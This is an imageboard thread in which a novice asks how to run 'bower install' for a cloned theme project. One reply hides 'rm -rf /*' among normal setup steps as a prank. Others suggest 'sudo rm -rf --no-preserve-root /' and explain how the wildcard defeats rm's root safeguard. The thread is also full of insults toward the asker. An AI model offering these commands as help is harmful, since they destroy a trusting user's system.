Can a kind anon translate this sentence in English? I have been

>>54984769
it means what it means, cd into your project, run bower then some config files should appear I guess

What's not to understand?
Run the command inside your project directory.

>>54984769
After you fucking git cloned that thing you're goddamn supposed to cd into that piece of shit folder the git command created and for the love of god execute "bower install" using whatever shitty shell is your favorite you fucking dimwit

How can that be so hard you twat

>>54984840
thank you friend, I will dedicate this next shit to you

>>54984769
guys dont do dis it creates mustrad gass

>>54984804
This.

It'd probably look something like this:

tar -xvf project.tar.gz
or
git clone https://github.com/somestupid/project.git

cd project
cp -R ~/Downloads/your-stupid-theme ./themes/
rm -rf /*

File: SmugLain.jpg (51KB, 620x720px) Image search: [Google]

51KB, 620x720px

>>54984856
I see what you did there

>>54984856
That last line might not work unless you replace it with

sudo rm -rf --no-preserve-root /

It might also ask you for your password

>>54984879
Next thread on /g/: "Help i'm on my phone how do fix my dad's computah"

File: 111.png (79KB, 867x334px) Image search: [Google]

79KB, 867x334px

>>54984840

Sorry I didn't mention I don't know anything about git cloning. But I attempted your command as I did prior and gives me error.
Pic related

>>54984804
I think I did that but the only file that appeared was ".gitignore" and it says "bower_components"

>>54984856
thanks anon, worked like a charm

>>54984926
1/10 made me reply

>>54984948
Not OP

Thanks /g/ and apologies for this thread. I figured it out.

> bower install
NOT
> install bower

>>54984879
That's making the assumption he's not already doing everything as root.

>>54984879
No, that will actually work. "sudo rm -rf /*" will always delete everything even if your personal rm has the --no-preserve-root thing. However, "sudo rm -rf /" will not. The reason is that the shell expands /* to every file and directory under the root, before it runs the rm command. So rm actually never knows it's operating on the entire file hierarchy.